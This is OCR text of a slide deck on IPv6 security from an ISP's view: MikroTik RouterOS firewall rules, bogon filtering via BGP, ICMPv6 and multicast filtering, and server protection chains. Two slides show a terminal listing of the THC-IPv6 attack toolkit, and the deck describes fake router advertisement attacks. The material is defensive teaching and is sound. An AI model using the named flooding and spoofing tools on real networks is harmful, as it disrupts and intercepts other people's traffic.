mala@malia-VirtualBox:

aliveb

denialé
detect-new-1p6
dnsdicté
dos-new-1p6
explolité

extract _hosts6.sh

extract networks6.sh
fake advertise6

fake dhcpsé

fake dnséd
maia@mala-vVirtualBox:

NOPE! ®

~/thc-ipv6-1.8% 1s

fake dnsupdate6
fake mipv6

fake mld26

fake mldé

fake mldrouter6
fake routeré6
flood advertiseb
flood dhcpce
flood mld26
flood mldé

flood mldrouteré

~/thc-ipv6-1.8% |

flood routeré6
flood solicitate6
fragmentationé
fuzz_ipé6
implementation6
implementationéd
kill router6
ndpexhaust6
parasite6
randicmp6

README

redir6
rsmurfe
sendpeest
sendpeesmp6
smurfo
thcpingé
toob1g6
traceb



AGENDA

1) Larger Address Space Impacts: ~/
Internal and external reconnaissance, bogons threats;

2) Protocol Vulnerabilities and Possible Attacks: \/

Auto-configuration, Neighbor Discovery, Duplicate Address
Detection Issues, Redirect Attacks, Header manipulation, etc

3) Countermeasures Using RouterOS by an ISP Point of View
Securing ISP perimeter, protecting customer networks, and
public locations
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Protecting your Home/Soho Customers
(By an ISP Point of View)




Typical ISP Topology

Transit
Customer

Transit Provider

Corporate Hotspo

user
Google Facebook




Good Practices to Minimize Reconnaissance Risks

—> Filter internal-use IPv6 addresses at Autonomous Systems Borders
—> Use no obvious static addresses for critical systems

—> Filter unneeded services at the firewall

- Selectively filter ICMPVv6

—> Maintain host and application security

—> Watch hosts inside your perimeter for malicious probes (with an IDS or
Honeypot)
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Home, Soho and Public Hotspots
Protection

Transit
Customer

Transit Provider

Hotspo

Corporate

user
Google Facebook




Protecting Public Locations
(AP 1Pv4 only)

IPv4 only AP

With fake Router Advertisements sent by an
attacker, most clients (Windows, Linux, MAC’s) will
auto configure and IPv6 traffic will be sent through
the attacker.

Countermeasure:

Isolate Layer 2 segment. See the below URL:
http://mikrotikbrasil.com.br/artigos/Layer2 Security Poland 2010 Maia.pdf
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Security for Home/Soho Fixed Networks
IPv4 Practices

Nowadays common topologies used by ISP’s are based on giving out a public IPv4
address per customer CPE and private addresses for internal network.

—> With a public IP per CPE, most of home applications will run without any
problem.

—> NAT does not guarantee any security, but in fact it helps to avoid most part of
potential offenders (the ones that do not have knowledge to by pass NAT) and lots
of automated attacking tools;

—> For this reason NAT gives a false sensation of security.




Security for Home/Soho Fixed Networks
New Paradigm with |Pv6

One common politics for prefix delegation is to give out at least /64 for home users
and /48 for corporate users

—> With a /64 each Home user could have auto-configuration running and all his
IPv6 capable devices with a full Internet connection

—> There is a common belief that IPv6 will give back to the Internet its original
conception - the end-to-end connectivity.

—> End-to-end connectivity could lead to innovation. At a first sight this sounds
great !
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Security for Home/Soho Fixed Networks
New Paradigm with |[Pv6

Are the users prepared (and wishing) to have a really end to end connection ?
—> Nowadays Internet is used mainly for work or recreation;

—> Youtube, Facebook, Skype, Home Banking applications, etc are working well on
current model that is not end-to-end.

—> Are there any reason for exposing internal hosts on the network to incoming
connections ?

Unless this situation changes, ISP’s may consider to offer to their customers a
basic firewall, with at least one feature: to allow only connections originated inside
the network.
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Security for Home/Soho Fixed Networks
New Paradigm with |[Pv6

—> Allow only connections originated from customers network

—> Allow as source address only IPv6 address from your customers subnet
(yes, some virus and misbehaving applications will generate oddities in
customer network)

=> Deny all inbound and outbound multicast traffic

—> Selectively filter ICMPv6




GE”E'E||Mva'K:Ed Bara Action Statistics

Chain: | [IE

Src. Address: |

Dst. Address: |

Security for Home/Soho Fixed Networks

Fiter Rules |Marrgie Connections Address Lists

Protocaol: |

|| = ||| 22 T | | i= Reset Cour

Src. Port: |

H Action Chain Src. Address | Dst

Dst. Port: |

Any. Port: |

P2P: |

In. Interface: [ | |pppne-nut'|

Out. Interface: |

..; Drop Invalid Connections
0 Hdrop  forward
:» Drop new connections from outside warkd

1 #drop  forward
... Accept Established Connections
2 o acc... forward

.- Accept Related Connections

Packet Mark: |

Connection Mark: |

Connection Type: |

Connection State: |new

3 «f acc... forward

Minimal Firewall Rules to protect home/soho
networks

89



ki!% IT & TELEC-

Protecting ISP Network Perimeter




Transit
Customer

Transit Provider

[ IXP |

Corporate Hotspo

user

Google Facebook




Bogons (and Fullbogons) with IPv6

Bogons are defined as Martians (private and reserved addresses defined by RFC
1918 and RFC 5735) and netblocks that have not been allocated to a regional internet
registry (RIR) by the IANA.

Fullbogons are a larger set which also includes IP space that has been allocated to an
RIR, but not assigned by that RIR to an actual ISP or other end-user.

Such addresses are commonly used as source addresses to launch attacks and
certainly will be used for practices like SPAM, Phishing, etc.

—> In this presentation we'll se how to protect our perimeter against BOGONS prefixes.
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TEAM CYMRU

COMMUNITY
SERVICES

Bogons (and Fullbogons) Impact with IPv6

Team Cymru provides Bogons and Full Bogons list as a
free service. Just contact them and receive the lists
automatically via BGP session.

http://www.team-cymru.org/

HOW DO I OBTAIN A PEERING SESSION?

To peerwith the bogon route servers, contact bogonrs@cymru.com. When requesting a peering session, please
include the following information in your e-mail:

Which bogon types you wish to receive (traditional IPv4 bogons, IPvd fullbogons, andfor IPvE fullbogaons)
Your AS number

The IP address(es) you want us to peer with

Does your equipment support MDS passwords for BGP sessions?

Dptional: your GPG/PGP public key

O L D

We will typically provide multiple peering sessions (at least 2) per remaote peer for redundancy. If you would like
more or less than 2 sessions please note that in your request. We try to respond to new peering requests within
one to two business days, but, again, can provide no guarantees for this free semnvice.

Remember that you must be able to accomodate up to 100 prefixes for traditional bogons, and up to 50,000
prefixes for fullbogons, and be capable of multinop peering with a private ASM. If you improperly configure your
peering and route all packets destined for bogon addresses to the bogon route-servers, your peering session
will be dropped.
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Automatic BOGON's filter

Marking incoming routes from Cymru as blackhole and setting a comment

MEITWE"S|HEF Actions  BGP Actions

Chain: |cy1'nn.|-ir1

o |

Route Fitter <

Matchers EGF'|.FH::I:ions BGP Actions

BGP AS Path: [

BGP AS Path Length: | R

BGP Weight: | -

BGP Local Pref : | B

BGP MED: | B

BGP Atomic Aggregate: | R

BGP Origin: | |+

Locally Originated BGP: | B
—<— BGP Communii —~——

BGP &m@/) [s]s

Route Fitter <

Matchers BGP  Actions |HEPPH::I:ions

Action: |accept || ¥

Jump Target: | " ¥

Set Digtance: | | -

Set Scope: | -

Set Target Scope: | | -

Set Pref. Source: | -

Set In Meathop: | =

Set In Nexthop Direct: | -

Set Out Nexthop: | B

Set Routing Mark: | -
——

Set Route Sgmment: |bugun ) | -
™

Set Check Gateway: | -

Set Disabled: | -
S

Type: |blackhnle ) ||$ -




Automatic BOGON's filter

Discarding other prefixes

Route Filter <=
Vetchers | BGP | Actons | BGP Actons Maichers BGP Actions | BGP Actions

Chain: |h'mn.|-ir1 " ¥ | Action: |discard || * |

To prevent sending prefixes to Cymru

Matchers |HEF' Actions  BGP Actions Matchers BGP Actions |HEFF~::Ijons

|

| Action: |discard ||

+|

Chain: |c'_.'1'nn_|-0ut "




Automatic BOGON’s Filter

—> The filter technique saw will put in blackhole the BOGON’s received and
therefore will prevent only upload traffic.

—> To deny incoming traffic you will have to place firewall filter rules.

Firewall Rule ==

General | Advanced Btra Action | Sttsics Same for Input channel

. L i
Chain: |;urward " ¥ |

General Advanced |E:d:-a i icti
Src. Addredg List: |IF"u"E-bugnns ) ” ¥ | -

General Advanced Bdra Action |&aﬁsﬁcs
Action: | I - |
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Automatic BOGON’s Filter

Running Script to build an address list with [Pv6 bogons derived from the
learned cymru bgp routes

:local hogon
## Cleans the list
:foreach subnet in [/ipv6 firewall address-list find list=IPv6-bogons] do

{

lipv6 firewall address-list remove $subnet

}

## Populate the list
:foreach subnet in [/ipv6 route find comment=bogon] do {
:set bogon [/ipv6 route get $subnet dst-address]
lipv6 firewall address-list add list=IPv6-bogons address=$bogon

}
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lllegal Addresses

»+» Drop our own prefic as sounce addres if coming from outside
7 Mdrop  llegal Add... 2001:db8:/32
. Bogons prefiees based on address list created from cymm BGF session

& -

Mdrop  legal Add...
. Loopback Address
Hdrop  llegal Add... 1
i IPvd Compatible addresses
40 Mdrop  llegal Add... /96
oo Other Compatible Addresses
41 Mdrop  llegal Add... :224.0.0.0/100
42 Mdrop  llegal Add... 127.0.0.0/104
43 drop  llegal Add... /104 :
T T Besides bogons addresses, some other
.. False Glod packets . ' ' '
45 Xcop llegal Add... 2002000:20 reserved for special applications in use or
46 Sdrop  llegal Add... 2002-700:./24
47 Modop llegal Add... 2002:/24 deprecated should be also dropped by the
43 Mdrop  llegal Add... 2002400:/24 .
49 #dop llegal Add... 2002:a00:/24 border fl rewa"
H0 #dop  llegal Add... 2002:ac10:./28
5 Mdrop  llegal Add... 2002:c0a8::/32
. Link Local Addresses
he $log  llegal Add... fe80::A10
i Site Local Addresses (dprecated)
h3 #dop  llegal Add... fecO:/10
i Uniquedocal packets
Mdrop llegal Add... feDD:./7
i Multicast Packets (as a source address)
55 #dop  llegal Add... FOO:/8

.i; Docummentation Adresses

he #dop  llegal Add... 2001.db8:./32
.1 Bbone Addresses (deprecated)

LY #dop  llegal Add... 3e:/16
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Typical ISP Topology

Transit
Customer

Transit Provider

e <
| IXP
/_7 @ Corb‘\dpféte Hotspo
Layer 2 connection < . user /

Facebook




Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:33:24
Mar/15/2012 10:23:26
Mar/15/2012 10:23:26
Mar/15/2012 10:33:26
Mar/15/2012 10:33:26
Mar/15,2012 10:33:27
Mar/15/2012 10:33:27
Mar/15/2012 10:33:27
Mar/15/2012 10:33:27
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:23:58
Mar/15/2012 10:23:58
Mar/15/2012 10:23:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:33:58
Mar/15/2012 10:23:58
Mar/15/2012 10:23:58
Mar/15/2012 10:24: 11
Mar/15/2012 10:34:11

ICMPwE_Common:
ICMPwE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPv6E_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPvE_Common:
ICMPv6_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPw6_Common:
ICMPw&_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPwE_Common:
ICMPv6_Common:

Logs of an IXP environment
(PTT-Metro Sao Paulo)

in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217.dff fe&0: 1000-:F02::1, len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217.dff fe&0: 1000-:F02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP ype 134, code 0), fe80::217.dfff feb0: 1000-:02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP ype 134, code 0), fe80::217.dfff feb0: 1000-:02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP ype 134, code 0), fe80::217.dfff feb0: 1000-:02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP ype 134, code 0), fe80::217.dfff feb0: 1000-:02::1, len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217 dff feb0: 1000-F02::1. len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217 dff feb0: 1000-F02::1. len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217 dff feb0: 1000-F02::1. len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217 dff feb0: 1000-F02::1. len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217.dff fe&0: 1000-:F02::1, len 64
in:vlan-PTT-IPVE out jinone), proto ICMP fype 134, code 0), fe80::217.dff fe&0: 1000-:F02::1, len 64
in:vlan-PTT-IPVE out jinone), proto ICMP #ype 134, code 0), feB0:: 1280 offf fe 15:7645->F02::1, prio 7-30, len 64
in:vlan-PTT-IPVE out jinone), proto ICMP #ype 134, code 0), feB0:: 1280 offf fe 15:7645->F02::1, prio 7-30, len 64
invlan-PTT-IPVE out:inone), proto ICMP {ype 134, code 0), feB80::128c offf fe 15:7645->f02::1, prio 7-=0, len 64
invlan-PTT-IPVE out:inone), proto ICMP {ype 134, code 0), feB80::128c offf fe 15:7645->f02::1, prio 7-=0, len 64
invlan-PTT-IPVE out:inone), proto ICMP ype 134, code 0), fe80::21a: #f fel3:cd 15-02::1, len 64
invlan-PTT-IPV6 out:inone), proto ICMP ype 134, code 0), fe80::21a: #if fel3:cd 15-:02::1, len 64
in:vlan-PTT-IPVE out jinone). proto ICMP fype 134, code 0), fe80::21a. X fel3:cd15-F02::7. len 64
in:vlan-PTT-IPVE out jinone). proto ICMP fype 134, code 0), fe80::21a. X fel3:cd15-F02::7. len 64
in:vlan-PTT-IPVE out inone), proto ICMP fype 134, code 0), fe80::5675.d0ff fedc bS0Z--f02::7, len 64
in:vlan-PTT-IPVE out inone), proto ICMP {ype 134, code 0), fe80::5675.d0ff fedc bS0Z--02::7, len 64
in:vlan-PTT-IPVE out sinone), proto ICMP fype 134, code 0), fe80::5675:d0f fe 3o bS02-5F02::1, len 64
in:vlan-PTT-IPVE out sinone), proto ICMP fype 134, code 0), fe80::5675:d0f fe 3o bS02-5F02::1, len 64
in:vlan-PTT-IPVE out sinone), proto ICMP fype 134, code 0), fe80::5675:d0f fe 3o bS02-5F02::1, len 64
in:vlan-PTT-IPVE out:jnone), proto ICMP fype 134, code 0), fe80::5675:d0ff fe 3o b502-02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP dype 134, code 0), fe80::5675:d0ff fe 3o b502-f02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP dype 134, code 0), fe80::5675:d0ff fe 3o b502-f02::1, len 64
invlan-PTT-IPVE out:inone), proto ICMP dype 134, code 0), fe80::5675:d0ff fe 3o b502-f02::1, len 64
in:vlan-PTT-PVE out:inone), proto ICMP dype 134, code 0), fe80::5675:d0ff fedcb502-f02::1, len 64
in:vlan-PTT-IPVE out inone), proto ICMP fype 134, code 0), fe80::5675.d0ff fedc bS0Z--f02::7, len 64
in:vlan-PTT-IPVE out inone), proto ICMP fype 134, code 0), fe80::5675.d0ff fedc bS0Z--f02::7, len 64
in:vlan-PTT-IPVE out inone), proto ICMP fype 134, code 0), fe80::5675.d0ff fedc bS0Z--f02::7, len 64
in:vlan-PTT-IPVE out sinone), proto ICMP fype 134, code 0), fe80::5675:d0f fedc bS0EZ-5f02::7, len 64
in:vlan-PTT-IPVE out sinone), proto ICMP fype 134, code 0), fe80::5675:d0f fe 3o bS02-5F02::1, len 64
in:vlan-PTT-IPVE out sinone), proto ICMP fype 134, code 0), fe80::5675:d0f fe 3o bS02-5F02::1, len 64
in:vlan-PTT-IPVE outinone), prota ICMP fype 134, code 0), fe80::207 ecff febc:cd15-f02::1, len &4
invlan-PTT-IPV6 out:inone), proto ICMP fype 134, code 0), fe80:: 207 ecff febo:cd15-:/02::1, len 64
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ICMPV6 Filtering
(RFC 4890)

RFC 4890 - Recommendations for Filtering ICMPv6 Messages in Firewalls

Traffic That Must Not Be Dropped

Error messages that are essential to the establishment and maintenance of
communications:

—> Destination Unreachable (Type 1) - All codes

—> Packet Too Big (Type 2)

—> Time Exceeded (Type 3) Code 0 only

—> Parameter Problem (Type 4) - Codes 1 and 2 only

Connectivity checking messages:

—> Echo Request (Type 128)
—> Echo Response (Type 129)
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ICMPV6 Filtering
(RFC 4890)

Traffic That Normally Should Not Be Dropped

—> Time Exceeded (Type 3) - Code 1
—> Parameter Problem (Type 4) - Code 0

Mobile IPv6 messages that are needed to assist mobility:
—> Home Agent Address Discovery Request (Type 144)
—> Home Agent Address Discovery Reply (Type 145)

—> Mobile Prefix Solicitation (Type 146)

—> Mobile Prefix Advertisement (Type 147)
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ICMPV6 Filtering
RFC 4890

Traffic That Normally Will Be Dropped Anyway (1/3)

Address Configuration and Router Selection messages (must be received
with hop limit = 255):

—> Router Solicitation (Type 133)

—> Router Advertisement (Type 134)

—> Neighbor Solicitation (Type 135)

—> Neighbor Advertisement (Type 136)

—> Redirect (Type 137)

—> Inverse Neighbor Discovery Solicitation (Type 141)

—> Inverse Neighbor Discovery Advertisement (Type 142)
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ICMPV6 Filtering
RFC 4890

Traffic That Normally Will Be Dropped Anyway (2/3)

Link-local multicast receiver notification messages (must have link- local
source address):

—> Listener Query (Type 130)

—> Listener Report (Type 131)

—> Listener Done (Type 132)

—>0 Listener Report v2 (Type 143
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ICMPV6 Filtering
RFC 4890

Traffic That Normally Will Be Dropped Anyway (3/3)

SEND Certificate Path notification messages (must be received with hop
limit = 255):

—> Certificate Path Solicitation (Type 148)

—> Certificate Path Advertisement (Type 149)

Multicast Router Discovery messages (must have link-local source address
and hop limit = 1):

—> Multicast Router Advertisement (Type 151)

—> Multicast Router Solicitation (Type 152)

—> Multicast Router Termination (Type 153)
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ICMPVG6 Filtering
(RFC 4890)

Chain ICMPv6-common Chain ICMPv6-input

=1 Aocept Destination Unreachablet fype 1) i Accept Meighbor Solicitation (1:35) with hop limit == 255

] Wacc.. ICMPvE_C.. 58 fic... 25 W acc... ICMPvE_L.. 58 {c...
;i Accept Packet too big fype 2) .o Accept Neighbor Advertisement (13€) with hop limit == 255

30 JFacc.. ICMPvE_C... 58 fic... 26 W acc... ICMPvE_].. 58 fic...
= Accept Time exceeded fype 3. code 0) i Accept Bouter Solicitation (133) with hop limit == 255

kY Facc... ICMPvE_C... 58 fic... 27X «Jacc.. ICMPvE_|... 58 fic...
- Accept Parameter problem fype 4, code 1) i Accept Router Adverisement (134) with hop limit == 255

17 sFacc.. ICMPvE C... BB fic... 28X Wfacc.. ICMPvE_|.. 5 fic...
i Aocept Parameter problem fype 4, code 2)

33 Wace... ICMPvE_C... 58 ic...
. Accept BEcho request fype 128)

34 W acc... ICMPvE_C... 58 ic...
..o Accept Echo reply fype 125)

a5 Wacc.. ICMPvE .. 52 ic...
.» Log and drop ather ICMPvE pachkets

64 $log ICMPvE C.. 58 ic...

65 Sdop  ICMPvE_C... 58 ic...

At Input channel = jump to chains ICMPv6-input and ICMPv6-common
At Forward channel = jump to ICMPv6- common

—> NB: Winbox 2.2.18 doesn’t show correct ICMPV6 types. Insert them manually.
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Perimeter protection on an IXP environment

Untrustworthy border routers should be watched to avoid bad traffic (malicious or
not

IXP

AS 100

Untrustworthy border router Layer 2 connection
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. Deny deprecated by RFC 3879

49 M drop  Multicast_...

50 M drop  Multicast_... fecD::/10
.. Mlow Link-Local Scope

51 o acc... Multicast ..
... Allow Link-Local Scope

R2 o acc... Mulicast ... F02:./16
... Deny ather Multicasts

53 Hdrop  Multicast_...
... Dery other Multicasts

.| #drop Multicast ... FOOD::/8

fecl:: /10

FlZ:./16

FO0::/8

Multicast Filtering
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Headers treatment on RouterOS

—4— Headers

Match: |ct " * |
[ Irvert
- Headers
[ | prota [ | none [ | esp [ 1ah
[ frag [ route ] dst CI00
Hop Limit: | | hd

It is expected that Linux kernel will not process RHO in the future. Meanwhile it
can be dropped by an iptables firewall with the following rules

ip6tables -A INPUT -m rt --rt-type 0 - DROP
ip6tables -A OUTPUT -m rt --rt-type 0 -j DROP
ip6tables -A FORWARD -m rt --rt-type 0 - DROP

Mikrotik will add such support on IPv6 Firewall. Thanks Mikrotik Guys ©
109
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E-mail Server - chain Server-email

Public Servers Protection

E::g::ﬂ::g::g::i::aslﬂ:

i Accept Imap (143) connections

«f acc... Serveremail

: Aocept Message Submission (587)

o acc... Serveremail

; Accept SMTP (25)

wf acc... Serveremail

; Accept POP3 (110)

«f acc... Serveremail

; Accept ICMPvE

«f acc... Serveremail

. Accept Established Connections

o acc... Serveremail

; Accept Related Connections

wf acc... Serveremail

: Drop all the rest

#dop  Server-emai

6 ftcp)
6 ficp)
6 ficp)

6 ficp)

58 ic...

143

587

110

Web Server - chain Server-www

oo Accept http (20)

70 of acc... Serverwww
;i Accept hitps (443)

71 «f acc... Serverawww
oo Accept ftp (271)

72 «f acc... Serverawww
i Accept ICMPvE

73 wf acc... Serverwwww

.- Accept Established Connections

74 of acc... Serverwww

i+ Accept Related Connections

75 «f acc... Serverawww
;. Drop the rest
76 Mdrop  Serverawaww

& ficp) g0

& ficp) 143

6 ftcp) 21

R ic...
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Public Servers Protection

Recursive (for internal only) DNS Server - chain Server-dns-int

oo Accept DNS requests (TCP 53)

77 «f acc... Serverdns... 6 ttcp) L]
o Accept DNS requests (UDP 53)

73 wf acc.. Serverdns... 17 (... 53
i Aocept Established Connections

79 f acc... Serverdns...
. Accept Related Connections

20 W acc.. Serverdns..
.o Drop all the rest

81 #dop  Serverdns...

Authoritative DNS Server - chain Server-dns-authoritative

i Accept DNS requests (TCP 53)

82 o acc... Serverdns.. & tcp) 53
i Accept DMS requests (TCF 53)
23 Facc... Serverdns... 17 0. 53

o Accept Established Connections
F acc... Server-dns...

1 Accept Related Connections

«f acc... Serverdns..

:» Drop all the rest

Hdrop  Serverdns...

i3

&

8
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Public Servers Protection

Joining all togheter — Server Chain

a7 #jump
88 &jump
49 &jump
90 #ljump

Servers
Servers
Servers
Servers

2001:db8: aaaa
2001:db3: bbbb
2001:db8: coce
2001:db8::dddd

Forward Chain

;dump to ICMPwE Common
11 f#djump forward

.o Jump to Multicast Control
12 &djump  forward

;v dump to llegal Addresses checking
ha fAjump forward

58 (ic...

. Jump to Servers chain
9 #djump  forward
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AGENDA

1) Larger Address Space Impacts: ~/
Internal and external reconnaissance, bogons threats;

2) Protocol Vulnerabilities and Possible Attacks: \/

Auto-configuration, Neighbor Discovery, Duplicate Address
Detection Issues, Redirect Attacks, Header manipulation, etc

3) Countermeasures Using RouterOS by an ISP Point of View‘/
Securing ISP perimeter, protecting customer networks, and
public locations

1Re?




Conclusions ' «'

There are many potential threats against the new protocol and public tools
available to launch a lot of attacks and there are many other security issues that
were not covered by this presentation.

Industry is in the early stage of IPv6 adoption (unfortunately) and for this reason
many security breaches didn’t appear yet.

IPv6 adoption will increase fast and administrator should plan their networks
having in mind the security issues.

Critics and contributions to Firewall rules presented here are welcome !
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Help on class IPvEé in module scapy.layers.inet6:

class IPv6( IPveGuessPayload, scapy.packet.Packet, scapy.layers.inet.IPTools)
Method resolution order:
IPv6
IPv6GuessPayload
scapy.packet.Packet
scapy.base classes.BasePacket
scapy.base classes.Gen
__builtin_ .object
scapy.layers.inet.IPTools

answers(self, other)
extract padding(self, s)
hashret(self)

mysummary (self)

|
|
I
|
|
|
|
| Methods defined here:
|
|
|
|
|
|
|
|
|
|

post_build(self, p, pay)




g7l m
\ \\l// IT &

maia@maia-VirtualBox
aliveb

denialé6
detect-new-1p6
dnsdict6

dos-new-1ipé6

exploit6

extract _hosts6.sh
extract networks6.sh
fake advertise6

fake dhcpsé

fake dnsé6d

maia@maia-VirtualBox:

TELECOM

:~/thc-1pv6-1.8% 1s

fake dnsupdate6
fake mipvé

fake mld26

fake mld6

fake mldrouter6
fake routeré
flood advertise6
flood dhcpcé
flood mld2é
flood mldé

flood mldrouteré6

~/thc-ipv6-1.8% |}

flood routeré

flood solicitate6

fragmentation6
fuzz 1ip6
implementation6
implementation6d
kill routeré
ndpexhaust6
parasiteé
randicmpé

README

redir6
rsmurfe
sendpees6
sendpeesmpé
smurfo
thcping6
toob1g6
trace6
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IPv6 terminology

-> Node: An IPv6 node is any system (router, computer, server, etc) that runs IPv6

-> Router: A router is any Layer 3 device capable of routing and forwarding |Pv6
packets

-> Host: A host is any computer or device that is not a router;

—> Packet: Apacket is the layer 3 message sourced from an IPv6 node destined
for an IPv6 address;

- Dual-Stack: When a node runs IPv4 and IPv6 at the same time.
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IT & TELEC

Recommendations for filtering ICMP messages
(work in progress)

draft-ietf-opsec-icmp-filtering-02

F. Gont UTN/FRH

G. Gont

SI6 Networks

C. Pignataro Cisco February 17, 2012
February 17, 2012

Expires on August 20, 2012
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\\l// IT & TELECOM

draft-ietf-opsec-icmp-filtering-02

ICMPv6 Message Type/Code
|ICMPv6-unreach 1
|CMPv6-unreach-no-route 1 0

|ICMPv6-unreach-admin-prohibited 1

|ICMPv6-unreach-beyond-scope 1
|ICMPv6-unreach-addr 1
|ICMPv6-unreach-port 1
|ICMPv6-unreach-source-addr 1
|ICMPv6-unreach-reject-route 1

www.ietf.org/id/draft-ietf-opsec-icmp-filtering-02.ixt

(&) B S N S\

6

Output
N/A

Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L

Forward
N/A
Permit
Permit
Deny
Permit
Permit
Deny

Permit

Input
N/A
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L

1A}
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& /adhn il ol
L\ \\l// IT & TELECOM

draft-ietf-opsec-icmp-filtering-02

ICMPv6 Message Type/Code
|ICMPV6-too-big 2 0
|ICMPV6-timed 3

|ICMPV6-timed-hop-limit 3 0
ICMPV6-timed-reass 3 1
|ICMPv6-parameter 4

|ICMPv6-parameter-err-header 4 0
ICMPv6-parameter-unrec-header 4 1
|ICMPv6-parameter-unrec-option 4 2

www.ietf.org/id/draft-ietf-opsec-icmp-filtering-02.ixt

Output
Send
N/A
Send
Send
Rate-L
Rate-L
Rate-L
Rate-L

Forward

Permit
N/A
Permit
Permit
Permit
Deny
Deny

Permit

Input
Rate-L
N/A
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
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# i [
g7 m
\\l// IT & TELECOM

ICMPv6 Message
|ICMPv6-err-private-exp-100
|ICMPv6-err-private-exp-101
|ICMPV6-err-expansion
|CMPV6-echo-request
|ICMPV6-echo-reply
|CMPv6-info-private-exp-200
|CMPv6-info-private-exp-201

|ICMPv6-info-expansion

www.ietf.org/id/draft-ietf-opsec-icmp-filtering-02.ixt

draft-ietf-opsec-icmp-filtering-02

Type/Code
100
101
127

128 0
129 0

200
201
255

Output
Send
Send
Send
Send
Send
Send
Send
Send

Forward
Deny
Deny
Permit
Permit
Permit
Deny
Deny

Permit

Input

Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
Rate-L
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Multicast Addresses

RFC 2375 defines several IPv6 Multicast addresses:

Address
FFO1::1
FFO1::2

FF02::1
FF02::2
FF02::5
FF02::6

Scope
Node-local
Node-local

Link-local
Link-local
Link-local
Link-local

Description
All nodes
All Routers

All nodes

All routers

OSPF Routers

Designed OSPF Routers (DR’s)
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Address Scope

FF02::9 Link-local
FF02::D Link-local
FF02::1:2 Link-local

FFO2::1:FFXX:XXXX  Link-local

FF05::2 Site-local
FF05::1:3 Site-local
FF05::1:4 Site-local

Multicast Addresses

Description
RIP Routers
PIM Routers
DHCP Agents
Solicited-node

All routers in one site
All DHCP servers in one site
All DHCP agents in one site

Note: Some old RouterOS versions (e.g. 5.9) were misbehaving, replying pings to FF05::1
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Multicast Addresses

All Scope Multicast Addresses according to RFC 2375

Address
FFOX::0
FF0X::100
FFOX::101
FF0X::102

Scope

All-scope
All-scope
All-scope
All-scope

Description

Reserved

VMTP Managers group
Network Time Protocol (NTP)
SGI-Dogfight
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More Multicast addresses

Deprecated by RFC 3897

Besides Multicast addresses in use, there are some Site-local Multicast
addresses defined by RFC 3513 (section 2.5.6): FECO0::0/10

Such addresses were deprecated by RFC 3879 and should not being used. To
avoid hosts using such addresses, we'll deny on border routers

Multicast Listener Discover (MLD)

MLD is used by routers for discovering multicast listeners on a directly attached
link (similar to IGMP used in IPv4). If MLD is not being used on the environment,
it should be dropped at the perimeter. MLD space is: FF05::/16

Multicast All scopes addresses

RFC 2375 establishes a lot of multicast addresses “all scope”. Unless you have a
good reason to accept any, we suggest to filter them.

1ol



“Privacy Addressing” for end hosts

RFC 4941 “Privacy Extensions for Stateless Auto-configuration in IPv6”,
establishes how privacy address should be created and used. With such
implementation, nodes ID will be randomized and distribution will be not

concentrated within the subnet.
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|IPv6 — Extension Headers

IPv6 Header | TCP Header
Layer 2 //7 Data
Header Next Header Next Header
=6 (TCP) =59 (Null)
IPv6 Header | Routing Header| TCP Header
7 7
hayzrz / _ Data
eleldr Next Header Next Header Next Header
= 43 routing =6 (TCP) =359 (Null)
IPv6 Header | Routing Header | Frag. Header | TCP Header
Layer 2 //7 :/7 //7 Data
Header Next Header Next Header Next Header Next Header Frag.
=43 routing =44 (frag.) =6 (TCP) =59 (Null)
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